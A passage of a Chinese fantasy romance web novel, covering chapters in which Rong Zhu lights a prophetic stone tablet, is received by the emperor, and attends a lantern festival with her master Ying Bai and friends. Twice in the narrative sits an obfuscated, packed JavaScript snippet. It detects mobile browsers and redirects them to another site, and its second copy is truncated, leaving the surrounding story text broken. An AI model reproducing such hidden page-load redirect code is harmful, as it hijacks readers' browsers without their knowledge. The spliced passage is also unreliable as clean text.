/p> 晚上,应白缓缓将衣服脱下,胳膊上的血肉和衣服粘在了一起,疼痛万分,好在只是皮肉伤,养几天也就没事了。 正逢容珠过来慰问伤情,应白刚想开口便听邱梧的声音猛然响起:“伤?应白受伤了?” 邱梧只是想过来简单询问一下二人还需要什么东西,刚一进院便听到容珠问话。 应白忙又穿上衣服出来道:“不过是皮肉伤,劳烦邱姑娘拿些药粉给我,养几天就好了。” 紫阳宫有专门的药堂,邱梧自小与先生学习,喜欢研究各种药材,在医术上颇有实力。 邱梧应承着去拿,想了想道:“应白,怎么分别多年再见,你倒叫我邱姑娘了,我们是朋友不是吗?你这样称呼显得我们很生分。” 应白没想到邱梧说起这些来,他看了眼容珠,然后笑道:“邱梧,还请你拿些药粉与我。” 邱梧这才笑着离开。 * 翌日晌午,四人一狗前去石碑所在处。 虽然紫阳宫很大,但金毛很喜欢出去玩,有时候它会自己出去再回来,也有时候紫阳宫的弟子们会邀请它一起出去。 上次上官琛斩杀魔龙时在城外,因此魔龙吐出来的石头就落在城外的溪流旁。 此处是片小树林,皇家驿站就在附近,住在里面的官员驿卒会来此处打水洗衣。容珠远远瞧见一行队伍排了老远,但见一座比人略高些的石碑树立在前方。 邱梧引着他们排在队伍后方,指着石碑道:“验证起来很快,只需要把自己的血抹在石碑上即可,如果血迹消失就不是石碑想要的人。” 容珠看向前方这一串等候验证的人,男女老少应有尽有,高高低低的头像绵亘不绝的山峦蜿蜒前伸直到那块石碑处。 石碑上有三排略微凹陷的印记,第一排有一道,第二排有两道,第三排有四道。 目前为止只有第三排第三个印记亮起,闪着红色的光芒,正如上官琛一身如火的模样。他正椅在一颗柳树下,眉眼忧虑地看着眼前众人。 这些都是普通百姓,如果真能点亮石碑,那将来要如何对抗魔龙? 前面的百姓叽里呱啦在聊天,有聊中午做什么饭的,也有聊自家孩子孙子如何如何,也有聊石碑的。 一青年抱怨道:“咱们陛下勤政爱民,我们究竟做了什么错事引得上天不满?” 另一人道:“上天有好生之德,那魔龙只管伤人放火怎么可能是神物呢。” “还没有哪个妖怪能兴风作浪长久,说不定点亮石碑的英雄很快就出现啦。” “唉,多亏陛下和各门派庇佑才能生存,我们虽不能斩妖除魔但他们有任何需求我们只管尽力而为,不辜负他们为我们的安危而殚精竭虑。” “是啊是啊……” 容珠一直想问一个问题但没寻到一个合适的机会,眼下又听人提起,便问:“邱姑娘,你们所说的陛下是什么人啊?” 邱梧笑道:“陛下就是朝荣国的王,所有地区归他管辖,所有人都听从他的话。” 容珠道:“那他灵力一定很强。” “不。”邱梧目露尊敬,“陛下只是普通人,心怀仁德之人才可当一国之君,与灵力高低无关。” “朝荣国只有他一个王?” “对。一国一君。”邱梧慢慢跟她解释,就像当年她一字一句解释给应白听一样。 容珠了然,心道自己所在的世界是以圣灵宫为尊,如今圣灵宫住着七位圣灵……已经剩六位了,他们便是那个世界的王。 朝荣国里仁德者才可任君王,而自己所在的世界则是强者为尊。究竟是什么造就了两个截然不同的世界? 同样是人,为什么上天要以海屏障为界限,让有的人生来就能一生被关爱,而有的人却只能一生被践踏? 不知不觉队伍已大大缩减,那些抹完血的人都各回各家了,石碑还如刚来一样,没有任何变化。 “师父先试吧。”容珠望着这座黑黢黢的石碑,那么多人的血抹上去竟不留一点痕迹。 41. 石碑印 应白咬破指尖,挤了几滴血出来抬手往石碑上一抹。不消片刻,这抹鲜红的血迹便被石碑吸收,消失不见,其余六道未亮的印记没有一丝变化。 “看来我并不是天选之子。”应白戏虐道。 容珠好奇:“天师大人可曾说上官公子为何能点亮石碑?” 上官琛摇头。 容珠指着石碑说,“为何上官公子点亮的是这一道而不是这一道?或许每道印记都想要拥有某种特定能力的人。如果我们能清楚石碑看重的是什么,兴许点亮它就不是难事。” 邱梧叹了口气:“天师大人当时的神色很忧虑,他看不透天意,认为冥冥之中已有安排,只需耐心等候即可。如果天之力是需要能点亮石碑印记的七个人联手才能打败魔龙,那这七个人肯定要有灵力,我斗胆猜测,灵核会影响印记被点亮。” “不排除这种可能。”上官琛又怪道:“但我并不是朝荣国中灵力最强的人,母亲都没点亮石碑印记,不知这东西究竟看重了我哪一点?” 他歪头戳了戳石碑。 应白思虑一番道:“要拿回我的灵核不是一件易事,不妨先等朝荣国所有人试完再说。” 一切还无法轻易定论,邱梧想了想说:“正因天意无法揣测,所以一切皆有可能,容珠姑娘也试试吧。” 金毛围在容珠身边转圈圈,容珠也咬破指尖,将血抹在石碑之上。 四人凝神观察,血迹竟半晌没有消失,邱梧和上官琛目露震惊,连容珠自己也感到意外,应白见此情景惊异之余忽想起一件事来,刚想开口,四周便掀起一阵狂风。 众人猝不及防,纷纷抬袖遮挡,金毛“汪汪”直叫,两只前爪扒着容珠的小腿,金色的毛被狂风吹的犹如鸡窝,众人一时间只觉天旋地转。 没过多久狂风骤停,上官琛“呸呸呸”了好几声,伸手擦去脸上的灰尘,“吃了一嘴沙子,怎么回事?” 怎么回事…… 淡黄色的光芒在第一排唯一一道印记上闪闪发光,光芒映照在四人又惊又喜的眸子中,邱梧低呼一声,转身便朝容珠抱去。 容珠因还在震惊中未反应过来,不禁一个趔趄,耳边响起邱梧激动的声音:“容珠!你是朝荣国的救世主!” 上官琛大喜,此刻如吃到糖的孩童般对容珠道:“容珠姑娘,太好了!我要告诉母亲,我要告诉陛下!朝荣国又迎来一位救世主!” “我……”容珠被邱梧抱的说不出话来,邱梧辫子上的碎发噌的自己鼻尖痒痒想打喷嚏,上官琛责怪道:“哎呀姐,你别抱了,还有我呢。” 应白还以为上官琛也要去抱容珠,不想他只是朝容珠伸出一只手咧嘴笑道:“容珠姑娘,谢谢你。” 容珠内心有一股说不出的情绪在翻涌,嘴角被笑意勾起放不下来,她看看邱梧的热情,上官琛的真诚,仿佛自己被包裹在了巨大的爱意里。 她伸手握上眼前这只手,笑得脸都僵了,“我从没想到自己能够点亮石碑。如果能帮到朝荣国,我很开心。” “看来邱梧说的没错,容珠果然身具奇能。”应白目含笑意,棕色的眸子闪闪发亮。 “可是为什么呢?”容珠不解,“我的灵力并不高,石碑究竟在选择什么样的人?” 应白加深了笑意,对容珠道:“还记得吗?你的灵核是金色的。” 在漩涡之境时应白就已说过一次,容珠点点头,仍目带疑惑:“金色灵核究竟代表着什么?” 应白道:“我猜测石碑选中你正与这个有关,不过究竟为何不得而知,我想说不定朝荣国内就藏有一些问题的答案,我们需要慢慢发现。” 这是一种很奇妙的感觉,就好像自己虽生在另一个世界,但当来到这个世界后才感觉这儿才是归宿。 * 上官琛火急火燎地回到紫阳宫,把今天上午的事说给了沈宫主听。沈宫主大喜,即刻写信送进宫中禀告陛下。 石碑再次被点亮的消息只需一个下午就传遍了整个朝荣国,陛下有令,命上官琛和容珠二人明日进宫面见。 这便相当于圣灵宫亲赐护身符,容珠不免有些紧张,她明天就要去见朝荣国唯一的王,可她还有许多东西不知道。 她不知道为什么会被石碑选中,如果陛下问她是哪里人氏她要说自己是来自另外一个世界吗? 应白温声安慰她:“陛下仁厚,你只需实话实说便好。” 朝荣国陛下姓赵,登基已有十年,有一个皇后和一个妃子。他经常出宫巡游,考察各地风土人情,对地方官的行为做出指导或夸赞,地方官上行下施,人人丰衣足食,深受百姓爱戴。 “身为君王难免顾及不到整个世界,于是选拔能人贤者委派官职,官员从皇宫至民间各处都被划分为不同品级,分别负责所在区域的各类事务。”邱梧耐心给容珠讲解着。 全新的信息涌入脑海,容珠惊奇不已。反观自己所在的世界,圣灵宫主宰一切,高灵门派居其次,民间一向有钱有势者居大,占领一方土地呼喝号令,底下人为奴为婢,必须对强者言听计从。 没有钱的就靠武力,便如在南海那片村镇似的,刘大凭武力让那里的渔民称其为王。 两相比较,自己所在的世界犹如地狱,怪不得应白当年如此竭力想改变世界,如此冰冷残酷的生活环境难道人们都快乐吗? 为什么施行仁爱的朝荣国却要面临魔龙的侵扰,被指责说有违天道而自己所在的世界却没有发生异常之事? 天道究竟是什么,如何就说朝荣国违逆了呢? 容珠想得脑袋发热,一颗心在胸腔内激烈跳动。一旁的邱梧想着自己说得差不多了,端起茶杯润润嗓后便问起容珠是如何救应白的。 前日在马车上,邱梧一听到应白遭遇被挖灵核这一酷刑后便恍惚不已,只顾着震惊悲痛,虽强制镇定着,但已听不清应白后面说的话。 要怎么说呢?其实容珠到现在都不知道当时是怎么把应白带出漩涡之境的。 天色渐晚,容珠点起蜡烛,烛火摇曳,映出邱梧眉眼间的忧伤,她抓住容珠的手,声音发涩道:“五年。容珠姑娘,你能否告诉我关押五年对一个人来讲是什么滋味?” 什么滋味……不吃不喝也不会觉得口渴肚子饿,明明出口就在眼前却什么也摸不到,有时连今夕何夕也不知,不过是用长久的寂寞来磨杀一个人的灵魂吧。 “他什么都没做,他没有伤害任何人,却被他们挖出灵核……那该多痛……为什么在那个世界,仁爱便是妖言惑众?究竟谁才是妖?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16773911|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 邱梧义愤填膺,从容的面容此刻也交杂着恨与痛。 “是啊……”容珠自言自语。 从前她也认为应白是疯子,后来她在漩涡之境选择相信应白也不过是因为自己已经失去所有,无路可走,安慰自己也安慰安慰他。 “我从不知应白经历了这些苦楚,他变了许多。”邱梧看着窗外夜景,黑乎乎一片,其实不太看得清。 容珠不曾明白邱梧眼中的神情,只好奇问:“师父从前是什么样?” 邱梧瞳孔动了动,淡淡笑道:“傻里傻气的,我原以为他就是这样的人,不想他是来自另一个世界,只是对这里不了解罢了。” 她顿了顿,想起了一些事又道:“他很好。朝荣国再找不出他这般实力的人,也找不出他这般细致周到之人,也找不出他这般俊朗之人。我真的很喜欢他。” 心像被什么东西揪了一下,容珠怔怔地看着邱梧。 喜欢他是什么意思?因为他人好所以想和他交朋友?好像不是。 邱梧没有继续说,容珠也没再问。 临走时邱梧对容珠笑道:“容珠姑娘,谢谢你救了应白,救命之恩难相报,依应白为人,你在他心中不只是他的徒弟。” 容珠点点头,心想应白确实说过自己是他的救命恩人,可如果没有应白,自己现在又在哪儿受折磨呢? 她感觉思绪不是很清明,就像应白说的,来了朝荣国以后慢慢地就会明白一些东西吧。 * 第二日一早,皇宫的马车已停在紫阳宫外了,沈宫主携众弟子目送容珠和上官琛远去。 金毛在原地哼唧直叫,沈宫主安抚它道:“金毛啊,你是不是早就察觉出容珠姑娘不一般了?哎呀,多巧啊,阿琛的金毛找到了一个救世主,还是一个顶漂亮的姑娘,这是不是上天赐下的缘分呢?” 沈宫主说得心花怒放,也说得应白心内越来越惊,他看着渐行渐远的精美马车,那里面只坐着容珠和上官琛两人。 他忽然在想,如果他有灵核的话是不是就能点亮石碑,就不一样了? 马车平稳地行驶在路上,不多时道路两旁已聚集着众多百姓,他们都知道马车里坐着的是点亮石碑之人,是朝荣国的英雄。 他们欢呼雀跃,热闹之声一直延续到皇宫门口。 听见通传之声,容珠将帘子微微掀开露出一角。马车又“哒哒哒”地行驶起来,恢弘庄严的宫殿在容珠视线中慢慢展开,圣灵宫与这般壮阔比起来只能算是后花园了。 “上官公子,你经常来皇宫吗?”生平第一次见巍峨宫殿,容珠叹为观止。 上官琛笑道:“若有事拜见要写明帖子递与内官,陛下看过后约定日子时辰方可入宫。” 无规矩不成方圆,是陛下的威仪,也是臣民们的尊敬。 不多时,马车停下,有侍卫出声引领,上官琛和容珠依次下马车,面前层层长阶直通高处殿堂。两人跟随侍卫步阶而上,富丽堂皇的宫殿很快出现在眼前。 遥见堂内坐着许多人,男男女女,一片珠光宝气。 容珠凝神屏息,跟随上官琛一步步迈入堂中,对着高座之人俯身拜道:“紫阳宫圣主上官琛拜见陛下。” “草民容珠拜见陛下。” 42. 皇宫行 高座上的赵皇帝目光炯炯,难掩欣喜,长袖一挥:“二位英雄快起,赐座。” 赵皇帝虽年至四十仍丰神俊逸,左边坐着一姿态雍容的妇女,是为皇后,右边坐着一个笑容清爽的女子,便是李贤妃。二人下边则坐着几位皇子与年幼的公主,人人脸上皆是好奇打探的模样。 容珠和上官琛在左边落座。赵皇帝朗声开口:“昨日沈宫主传信与寡人,寡人看后十分惊喜。说起来那魔龙也困扰我朝荣国三年有余,上官公子打死了它七次才从魔龙嘴里掉出来这么一块奇石。 “它既自称是天龙,要替上天拨乱反正朝荣国之气运,寡人本该信封它为神明,可它怎残害我朝荣国子民,致使良田屋舍尽毁,多少百姓的家人受魔龙所伤,岂非是寡人言行有失,惹怒了上天特将此灾祸啊。” 赵皇帝哀声连连,后又振作道:“好在天师曾占卜得知唯有石碑上头七道印记皆被点亮才可降伏魔龙,而今幸有容珠姑娘之力再次点亮石碑,寡人感恩戴德,姑娘与上官公子二人便是我朝荣国的降魔英雄,寡人敬二位一杯。” 桌上设有晶莹玉盏,玉盏里是清冽香茶,赵皇帝双手一举,其余人等也举起玉盏朝二人微笑。 上官琛举起茶杯义正言辞道:“陛下言重,为民除害是修炼之人的义务,即便在下不是石碑选中之人,也依旧会为百姓抵挡泥……魔龙侵害,既承担此任,必赴汤蹈火,还世间太平!” 容珠也举茶,却不知该说什么,强者为尊的思想已经在进入朝荣国后被这里的仁爱一点点瓦解,上官琛的一句为民除害是修炼之人的义务再次让她心神一震。 为什么她的血会点亮石碑?她似乎有些明白了。 她生来是修炼不起来的废物,因爱而提升灵力,因遇见应白而来到朝荣国,因魔龙而让她成为救世人之一。 这里没有强弱之分……也是有的,不过它被爱包围着,让弱者在强者的羽翼下肆意生长幸福。 她微微一笑,朝赵皇帝道:“草民自当尽心竭力,维护百姓安宁。” 饮完此杯后,赵皇帝问:“沈宫主说容珠姑娘是紫阳宫的贵客,不知姑娘是哪里人氏,师承何派?” 容珠答:“草民来自崖海的另一边,生于一名为清凌门的门派中,自幼修炼,前几日同师父坐船于海上穿过一面屏障方来到朝荣国,由于师父与紫阳宫曾有交集,故而草民结识了沈宫主。” “哦?”赵皇帝面带惊疑之色,“你是说你并非朝荣国之人,而是来自另一个国度?” “是。”容珠看见其他人皆面露奇色,好似听得了一个稀奇之事。 “寡人从不知世间还有另一个国度,烦请姑娘细细说来,贵国如何称呼,那里是怎样一番世面?” “草民所在的世界并没有名字,那里的人也不知海的另一面还有一个叫朝荣国的地方。”容珠像在诉说着前尘往事。 “那里强者为尊,弱者低贱,也有一个相当于皇宫的存在,名为圣灵宫,宫中住着世间灵力最强的六位圣灵,他们掌管天下。那里的人从一出生就要想方设法步入修炼之道,只有成为强者才能安然度日,否则只能为人践踏。” 说到此时,殿内中人脸色微变。 容珠继续道:“草民一直灵力低微,修炼多年毫无涨进,后被门派驱逐,幸遇师父,如今能来到朝荣国实在是一桩奇遇。” 堂中寂静无比,片刻后赵皇帝怒道:“岂有此理!怎会有如此糊涂之王治理国家,民为一国之本,如此对待百姓岂不是要天怒人怨?” 妖与神,对与错皆因观念不一而产生偏见,朝荣国认为圣灵宫荒唐,圣灵宫认为应白祸乱世间,认知差异如此之大,的确荒唐。 左首的皇后眉心微皱,柔柔开口:“弱者低贱,可拥有修炼天赋的人在少数,那众多百姓岂不日日生活在水深火热之中?何其残忍!” 她声音凄切,字字句句说得缓慢而沉重,听的人心里酸楚无比,直想掉泪。 赵皇帝眉宇间阴郁无比,眸中哀色弥漫,一时间,富丽堂皇的宫殿升起一阵阵悲戚之声。 容珠见状垂首道:“草民来到朝荣国先后受紫阳宫与陛下的盛情接待不胜惶恐,虽不是本国人但容珠希望能凭自己的一份力量帮助朝荣国百姓,做一个心中有爱之人。” 赵皇帝本就心系黎民安危又对容珠心生怜悯,况且容珠点亮了石碑,闻听此言忙道:“容珠姑娘乃我朝荣国贵宾,朝荣国从不以灵力高低论强弱,且石碑看中了姑娘,说明姑娘定身负美好品质,实属难得,寡人岂有不应之理。” 容珠微笑回应,此后又闲聊数语,赵皇帝对容珠所在的世界十分好奇,说改日要将容珠的师父也请进宫来仔细聆听。 紧张高兴了一上午,容珠坐在马车里离开皇宫时还时不时在傻笑。 上官琛也笑问:“你在高兴什么?” 容珠稍敛神情,“来到了一个美好的世界,所以高兴。” 回去后,沈宫主又摆了宴席,让容珠和上官琛坐一处,应白和邱梧坐一处。 紫阳宫有两位点亮石碑者聚集引得不少门派之人相继拜访,连着好几日紫阳宫门客络绎不绝,也让容珠忙得不亦乐乎。 经此一事,容珠与上官琛关系渐渐熟络,二人常在一处笑谈,应白只默默喝茶,邱梧终得空与应白叙旧,沈宫主远远瞧着这一幕只觉欢天喜地。 * 朝荣国三皇子不日便要成亲,皇宫上下都在忙碌婚庆一事,陛下发帖给各大门派之主前来参宴,又特命紫阳宫圣女、圣主、容珠和其师父也去赴宴。 这日正逢朝荣国一年一度的花灯节。正所谓繁星当空时,花灯俏佳人。 吃过中饭,邱梧说要给容珠编头发,“花灯节这天每个少女都会把自己打扮得漂漂亮亮的,希望能得心上人的关注,即便没有心上人,也希望凭借今晚能觅得一个如意郎君。” “心上人?”容珠微微歪头,透过铜镜能看到邱梧站在一侧正拿起自己的一缕头发思索如何编。 她想起左舒圣灵和阿柔的故事,于是便道:“就是自己喜欢之人,能和自己共度余生的人?” “对呀。”邱梧甜蜜地笑着,“你会和他成亲,你们会拥有一个新的生活,到老了,你们的儿孙会在面前嬉笑玩闹,尽管你们都已成为垂暮老人,但你们眼中只有彼此。” 就像爹爹和娘亲的爱。容珠心内想着,可惜娘亲染病,爹爹因自己而死,她看不到他们年老时恩爱的情景。容檀也看不到。 即便容檀很厌恶自己,容珠还是会不经意间想起她,至少容檀还有爹爹。 “你这只簪子有点朴素,不如换下来戴这个珠花吧,跟这身衣服很配。” 邱梧在铜镜中指了一下容珠头上的珍珠簪。容珠忙道:“这个是师父送我的,我要一直戴着。” “嗯?”邱梧微怔,“应白送你簪子?” 容珠看着镜中邱梧道:“是拜师礼,他是师父,我岂有不带之理?” 邱梧更加不解:“拜师礼?不是指徒弟送师父东西吗?” 容珠笑道:“我一开始也是这么认为的,哪有师父送徒弟礼物的,可师父既买了,我也不能不带,有一次我还以为把它弄丢了,没想到被师父捡去了,我可万不能再丢掉了。” 邱梧若有所思地点点头,容珠问:“邱梧姑娘,你们这里的师父会送礼物给徒弟吗?” 邱梧拿起梳子缓缓梳着容珠这缕头发,半晌才道:“不会,师父是长辈,通常情况下是不会送徒弟东西的。” 说不定是应白感谢容珠的救命之恩所以送她一个簪子? “容珠……”邱梧此刻特别想问一个问题。 “嗯?” 她欲言又止,心想说不定是自己曲解了应白的意思,又另想了话题,“哦,没什么,我想说我和阿琛也有一个师父,不过他现下不在紫阳宫,等他来了我带你去见见他。” “好。”容珠爽快地答应了。 晚上,灯火璀璨。即便是万分宁静的紫阳宫也能隐约听见外头热闹嘈杂的声音。 四人一狗踩着月光前行,金毛知道是出去玩的,一直摇晃着尾巴,在几人中间来回转圈。 远远瞧见道路两旁的楼阁飞檐挂起鲜红灯笼,像糖葫芦似的串起来一直延伸不见尽头,底下人头攒动,摩肩擦踵,大人抱着小孩坐在后颈上,拿着花团的姑娘载歌载舞穿梭在桥梁亭台处,各色灯笼点着莹黄烛火在各个摊贩上活灵活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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应白顺着说:“邱梧好看邱梧戴。”于是也把自己头上的花插在邱梧发髻另一边。 上官琛惊道:“应哥哥,男子给女子簪花表示喜欢她的意思,你喜欢我阿姐吗?” 邱梧登时红了脸,垂着眸子飘忽不定。应白的笑凝滞在脸上,有些惊慌道:“啊……是这样,我不知其意,唐突了邱姑娘,邱姑娘莫怪。” 他没有立刻伸手再将花拿下,却是十分诚恳地道歉。 邱梧见状原先绯红的脸变得煞白,朝上官琛指责道:“人家初来乍到哪里知道这些规矩,你瞎说什么!” 上官琛闷闷不乐道:“我又不知道他不知道。哎呀不喜欢就不喜欢嘛,追你的人那么多,你嫌弃这个嫌弃那个,真不知道你喜欢什么样的。走走走去喝酒!” 说罢拉着有些尴尬的应白就跑了,应白看了眼邱梧朝她招手让她来。 二人不一会儿消失在人群中,邱梧神情落寞地将头上那朵花拿下,揣入怀中。 这些事自应白离开后,每一年的花灯节邱梧都会独自在心里回忆,此刻谁也没继续往下说。 她不知应白是忘了还是在等自己说,见他温和的神色穿梭在人群中,耳边的嘈杂像在给自己加油打气,邱梧害怕。 眼前的应白是自己日思夜想了七年的人,他回来了,变得更俊朗,更高大,眼眸还是一如既往地温和迷人。 从前这双眸子还有几分顽劣和傻气,但他十分懂得适可而止,虽顽劣却也知礼,虽傻气却也明理,一面热血恣意,一面温柔担当。 他就在自己身旁,没有年少时的散漫,带着成熟后的冷静和沉稳,悄然无间在自己心中释放着独一无二的魅力。 “公子公子,给姑娘买朵花吧?” 一笑意盈盈的少女臂挽花篮来到应白面前,举着一朵白里透粉的芙蓉花在手里轻轻晃动。 应白驻足,飘荡的思绪被拉了回来。 邱梧静静地看着这朵花。 今天,此时,这朵花并不是一朵普通的花,她暗道这个卖花女出现的多么及时,仿佛上天听到了她心里的密语,顺水推舟一把来回应她心底的悸动。 43. 花灯节 淡粉色的芙蓉花瓣上凝着几滴晶莹水珠,衬得花瓣柔嫩纯洁,叫人禁不住小心呵护。 应白脑海里蓦地现出一个画面,是他第一次见容珠时,她抱着自己流泪伤心的模样。 那滴晶莹的泪珠从她眼角滑落,正如这朵出水芙蓉一般惹人怜爱。 关于邱梧和上官琛的记忆应白一直记得,那是在漩涡之境中唯一可以支撑着他的快乐时光。 那段时间,他、邱梧和上官琛一起修习,一起玩耍,他找到了志同道合的朋友,体会到了从未有过的高兴,足以让他终生难忘。 他心里一直对邱梧十分赞赏,不管是从前还是现在,论实力和品性,应白找不出第二个女子。到目前为止,他所深交的也唯有两个女子。 但容珠是特别的。 一看到她,一想到她,这些对人的考量通通没有了,就只是她,只有她,让自己心神紊乱,心生欲念。 应白从怀中掏出几枚铜钱递给卖花女,将这朵芙蓉花买了下来。卖花女笑嘻嘻地拿钱给物,踮着脚一跳一跳地去寻其他买家。 芙蓉花躺在应白掌心,邱梧激动不已,面上强作镇定,紫色纱袖里的手紧紧攥成一团,如果他这么做了那她原先在心中的猜疑就不作数了。 只见应白转身面对邱梧看着这朵芙蓉花道:“当初头戴红花游街确实是个极大的笑话,不过开心也是真的。今日我想重新体验曾经的快乐,不知还能否如当日心境。” 说着他将这朵芙蓉花有些笨拙地戴到自己头上,带着些许自嘲的面容看向邱梧一双略显惊讶的眼眸,仿佛此刻的邱梧与当年那个略显青涩的她重合在一起,同样的震惊,同样的欲笑不笑。 “哈哈……”应白先笑出了声,“我们得去找上官琛,少了他可不行。” 邱梧僵硬地露出笑容,愣在原地忘了前行。 她怎么也没想到是这样的结果,他真的对自己毫无感觉还是他这些年的经历已经磋磨了他的内心,加上重逢后时日尚短还需要时间考虑? 不。 他从来不是懵懂无知之人,一个人怎么可能在明知会引人笑话的情况下还会做这件事?他这样做只是在委婉地告诉自己,他不喜欢她。 这样不言而喻的结果虽顾及了她的脸面却还是如一把尖刀,一下一下地扎入胸膛内这颗跳动的心。 那边游廊彩带飘飞,上官琛正和容珠围在一摊前看老头画糖人,晶莹的金色糖汁在这样那样的勾勒下赫然形成一只雀鸟。容珠看了欣喜想买来解馋,上官琛抢先一步道:“老板,我来!” 他给了摊主钱,将这只金色糖鸟递给容珠,笑道:“小小糖人,聊表谢意。” 容珠问:“谢什么?” “谢你帮朝荣国在降伏魔龙的路又近一步。” 容珠咬了口糖人道:“你太客气了,能做这件事我高兴得不得了,不过若只送我糖人确实有些小气。” 她在开玩笑,上官琛深知其意,咧嘴笑道:“容珠姑娘初来乍到,我紫阳宫作为朝荣国第一门派自然不会亏待,不过还得精心准备,花些时日,不能显得草率。” 上官琛说得一本正经,容珠怕他当真了,于是忙道:“我是开玩笑的,本就是应该做的事,怎好意思伸手要东西呢。师父送我见面礼我已十分不好意思,我本就是客,岂有让主家送东西的道理,我可万不能收。” “你师父送你什么?”上官琛随口问。 容珠指了指头上的珍珠簪:“就是这个,一支簪子。” 上官琛驻足,目带疑惑:“应白送你簪子?为什么?” “他说是师父送给徒弟的见面礼。” “什么?”上官琛讶然,自言自语:“师父怎会送徒弟礼物?还是一支簪子,这难道不是……” “是什么?”周围嘈杂,容珠听不清他在说什么。正这时,忽听见远处一人喊道:“阿琛!” 上官琛下意识去看,但见人头攒动的街上,一个头戴芙蓉花的男子笑意盈盈地朝自己挤来。 上官琛原本迷惑的瞳孔渐渐睁得又大又圆,遥远的记忆接踵而至。他想笑,那人已经来到跟前,一手搭上他的肩将他束缚,狡黠道:“旧地重游,倒让我忆起当年记忆,不过光我一人玩有何意思,还得和你一起方能重温往事。” 容珠见应白头戴鲜花,神情愉悦的模样不禁大为惊奇,“师父,你在干什么?” 应白看向容珠有些尴尬道:“这是阿琛常与我玩的一个游戏,我们多年未见,今日想起来决定温习一下。” 上官琛惊道:“我不要!我已不是小孩子了!”说罢就要挣脱应白,应白拦住了他道:“阿琛,是朋友就要一起疯啊。” 当年情景历历在目,做出那种事可以解释为年纪小,爱玩闹,现在可不经这般戏玩,太丢人了! 其实他看见应白的模样很想笑,但心内思忖着应白可能要来真的,毕竟他自己已经戴上了。 思及此,上官琛又笑又怕道:“我,我们是朋友,但……”他以迅雷不及掩耳之势挣脱了应白的胳膊,边跑边道:“这玩不得!” 金毛看见主人和容珠分开两地,一时间急得不知该跟谁好,想了想还是往上官琛的方向跑去了。邱梧见应白和容珠在一处了便识趣道:“我去看看阿琛。” 待人都跑没了,应白才笑问容珠:“玩得开心吗?” 容珠注视着应白头上的花,喉间发出两声笑,笑完两声又笑三声,止住后问:“师父,你们这个游戏怎么玩啊?” 应白假装思索,余光看见有不少人在偷笑他,脑中灵光一现,没有回答容珠的问题,而是说:“今日花灯节灯火璀璨,地上人多且不易看景,我带你去个地方能一览全貌。” 游廊对面是一座四方高阁,四角飞檐下悬挂着铜铃叮当作响,应白道一声:“跟我来。” 他轻握着容珠的手腕,穿过游廊,寻一人群稀疏之地忽一松手,接着揽住容珠腰间双脚一跃,飞过河流,足尖在船顶上一点 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“我现在明白了,未曾经历过的事又如何让人认为它是合理的。从前你愿意相信我,这对我来讲十分难得,我更欢喜你此刻能亲眼所见,因为这比任何单纯的空话要真实得多,终究带给你不一样的体验。” 应白的话如静谧流水缓缓道来,他棕色的眼眸在黑夜里绽放着晶亮光芒,显得他比平常更加深邃深沉。 他看向容珠,浅浅笑着:“你如今身份不一样了,虽前途未知但你不再是一人,邱梧和上官琛都会是你的朋友,等日后其他人点亮了石碑,那些人也会是你的伙伴,一个全新的人生在等着你。” 这是一件值得高兴的事,容珠心向往之却仍觉有丝空落落,她对应白说:“徒弟灵力低微,还要请师父多加指导,朋友再多也因师父存在才改变我的人生,多谁都无所谓,不能少了师父。” 应白眸光闪烁,笑道:“你已窥见灵核真谛,灵力增长指日可待,已不需我指导了。” “那不行。”容珠飞快说道,“师父自己说的话当然要作数,我笨得很,非得师父指导不可。” 应白心内痒痒,嘴角控制着笑意,这些天来堆积在心内的落寞情绪一扫而光,别有深意道:“你是我此生唯一的徒弟,我自会尽心教导。今日花灯节,也该送你一朵花,好让你彻底体验节日的喜庆。” 他伸手将头顶上的芙蓉花拿下托于掌心伸向容珠眼前。 “可……”容珠注视这朵芙蓉花,有些局促道:“上官公子说花灯节送花……是……” “你不把它戴到头上就是了。”应白胡诌道,“不戴头上就不是那个意思,你把它揣起来,放怀里,回去再拿出来养。” 容珠天真的目光看向应白,半信半疑道:“哦……是这样。” 她接过花仔细看看,又细细闻闻,在应白的目光看向别处景色时把花放入怀中。 真奇怪,花香如蜜,丝丝缕缕从衣领间飘出钻入鼻尖,直达心肺,甜蜜无比。 44. 赴婚宴 “阿姐,你怎么过来了?”上官琛跑到一个不易被人发现的街角停了下来,伸着脖子在人群中搜寻一圈,确定应白没有跟来,反倒看见了邱梧。 邱梧怪道:“你跑这么快干什么,他不过说笑,你也当真了。” “说笑吗?”上官琛从角落里站出来,见街市繁华,不禁催促道:“阿姐,你和应白继续玩啊,别管我,我还能丢了不成。” 邱梧睨他一眼道:“以后别再说这话了,小小年纪,你知道什么?人家师徒俩自娱自乐便好,要你胡乱安排。” 上官琛上前一步歪头看着邱梧:“虽然你从来没说可我也并非是傻子,这些年来母亲给你找了多少俊男才子,你看都不看,若说你对感情一事不感兴趣我可不信,我和母亲都看在眼里,你如此喜欢应白,眼下可算有机会重建旧情,你怎么反而退缩了?” “什么旧情?”邱梧瞪着他,“若两个人情投意合不必撮合也能在一起,你只知道我的心事可你知道应白心内在想什么吗? “阿琛,你别忘了应白过去这些年都经历了什么,更遑论他现在失去了灵核,对他来讲多受打击,他曾经多么强悍耀眼你不是不知道,若换作你没了灵核,还有心思谈情说爱吗?” 邱梧声音不高,却令上官琛心头一震。 他只想着阿姐,虽然知道应白所经历之事却并没有转换角度思考他的心情。 